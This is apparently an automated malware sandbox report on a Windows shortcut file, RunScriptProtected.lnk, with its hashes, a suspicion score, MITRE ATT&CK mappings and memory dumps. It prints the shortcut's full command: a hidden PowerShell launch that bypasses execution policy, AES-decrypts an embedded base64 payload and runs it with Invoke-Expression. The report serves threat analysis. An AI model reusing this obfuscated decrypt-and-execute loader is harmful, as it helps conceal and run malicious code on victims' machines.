3421a6ad1ac42363c9ba102916d4f7d78e323cca2a7b8c4a4ecc752820e55bdc

Analysis

max time kernel
120s
max time network
121s
platform
windows7_x64
resource
win7-20240903-en
resource tags

arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
submitted
09-12-2024 20:03

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General

Target

RunScriptProtected.lnk
Size

3KB
MD5

7d7b89cb7fa6155b1e01334175ac1c5b
SHA1

e777ad0ff4d4510ee345c06c34123b279b0b7ad6
SHA256

7c8be71b3cfef2de7343bd48d20e33a6f2f94409d59c50f5ac3a5bbd703789fc
SHA512

bd1ddf6149e7d51339ba326ad6fbd9d0b7eb4a2e6a0ca90cfd6a9024df0ee81e0cc2ac2e77e4c1b86146d4d06ccc24696c320d5ea166cf79d9062ff9d3b22038

Score

8^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2716	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2716	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2716	powershell.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 1884 wrote to memory of 2716	1884	cmd.exe	29
PID 1884 wrote to memory of 2716	1884	cmd.exe	29
PID 1884 wrote to memory of 2716	1884	cmd.exe	29

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\RunScriptProtected.lnk
1⤵
- Suspicious use of WriteProcessMemory
PID:1884
- C:\windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command "& {param($a, $b) $KEYIV = '3Q1aUNn15Me1VlTQAQdGsm8ekXBkW2FFrSBt93j4N9Hg2QMZ60uGi6hdUECTkmywWn5vE4REAgxDeSoQIFpLq0zLiYkkC3WftAtNr6bgSVPoN2eYpSVCgq7FapPgUIfMZiDkS4Z7ibn7XIe6LuOlTPHS0ibnAmKQ5eCYXNZdOKzILr7TAIImXk5QH61FidAIOBZrbTQpHYRM98yNGmvMOzONCZQfuvr'; $command = [System.Convert]::FromBase64String($a); $key = [System.Convert]::FromBase64String($b); $e = New-Object System.Security.Cryptography.AesManaged; $e.Key = $key; $e.IV = $command[0..15]; $f = $e.CreateDecryptor(); $g = $f.TransformFinalBlock($command[16..$command.Length], 0, $command.Length - 16); $h = [System.Text.Encoding]::UTF8.GetString($g); Invoke-Expression $h; }" -a "qs9K8ECrxJ4RYgoGXBOVA5zoSztl2ZXPpldKefb9lZYVjASx3hpM1DG7Td3mzXA7B5gsnqQ74Cf8nu4rHbTQMgCpXtC7lraiyB1QP5NLcaIqIUGuJEX8Yeh6OaMu87mbALezjUugDAG8K6pcwYBuptmyjFZy3nos4aELD9IL8TOAxjBh/YryQcekOlA++MRBusflRl3EOvlALID34VFe304kjnyI10ZlLqUrqV3m7ag=" -b "I2gGFN92JQ7raC35ha14JzISlRbQCYzWrkxCskiY01c="
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2716

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/2716-38-0x000007FEF553E000-0x000007FEF553F000-memory.dmp

Filesize
4KB

Download
memory/2716-40-0x0000000001FB0000-0x0000000001FB8000-memory.dmp

Filesize
32KB

Download
memory/2716-41-0x000007FEF5280000-0x000007FEF5C1D000-memory.dmp

Filesize
9.6MB

Download
memory/2716-39-0x000000001B7C0000-0x000000001BAA2000-memory.dmp

Filesize
2.9MB

Download
memory/2716-42-0x000007FEF5280000-0x000007FEF5C1D000-memory.dmp

Filesize
9.6MB

Download
memory/2716-43-0x000007FEF5280000-0x000007FEF5C1D000-memory.dmp

Filesize
9.6MB

Download
memory/2716-44-0x000007FEF5280000-0x000007FEF5C1D000-memory.dmp

Filesize
9.6MB

Download
memory/2716-45-0x000007FEF5280000-0x000007FEF5C1D000-memory.dmp

Filesize
9.6MB

Download
memory/2716-46-0x000007FEF5280000-0x000007FEF5C1D000-memory.dmp

Filesize
9.6MB

Download